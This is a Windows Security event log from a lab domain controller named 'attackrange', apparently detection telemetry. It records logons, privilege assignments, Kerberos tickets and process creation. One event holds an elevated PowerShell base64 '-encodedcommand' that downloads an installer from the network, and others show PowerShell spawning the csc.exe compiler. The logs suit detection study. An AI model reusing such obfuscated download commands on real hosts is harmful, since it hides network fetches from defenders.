The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249817
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEECA7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249816
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEEA7F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249815
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEEA7F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64326

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249814
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEEA7F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249813
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEE908

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249812
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEE908
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64325

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249811
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEE908

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249810
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEE84A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249809
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEE84A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64324

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249808
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEE84A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249807
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC41D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x244
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsACAAPQAgACIAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACIACgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC4AcwBwAGwAdQBuAGsALgBjAG8AbQAvAHAAcgBvAGQAdQBjAHQAcwAvAHUAbgBpAHYAZQByAHMAYQBsAGYAbwByAHcAYQByAGQAZQByAC8AcgBlAGwAZQBhAHMAZQBzAC8AOAAuADAALgAyAC8AdwBpAG4AZABvAHcAcwAvAHMAcABsAHUAbgBrAGYAbwByAHcAYQByAGQAZQByAC0AOAAuADAALgAyAC0AYQA3AGYANgA0ADUAZABkAGEAZgA5ADEALQB4ADYANAAtAHIAZQBsAGUAYQBzAGUALgBtAHMAaQAiACwAIAAiAEMAOgBcAHMAcABsAHUAbgBrAHUAZgAuAG0AcwBpACIAKQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249806
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC41D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x570
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdc0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES3814.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC45D70A5DED75414FA271BA331A888D89.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249805
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEE21D

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:48:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249804
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEE21D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{112FE297-1DE3-4AAA-071C-62923EB2E8F3}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249803
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{112FE297-1DE3-4AAA-071C-62923EB2E8F3}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:48:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249802
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{112FE297-1DE3-4AAA-071C-62923EB2E8F3}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:48:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249801
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:48:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249800
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC41D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdc0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\y0bxbgfi.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:48:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249831
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEF80A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249830
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEF80A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64332

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249829
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEF80A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249828
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEF7A9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249827
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEF7A9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64331

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249826
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEF7A9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249825
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEF743

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
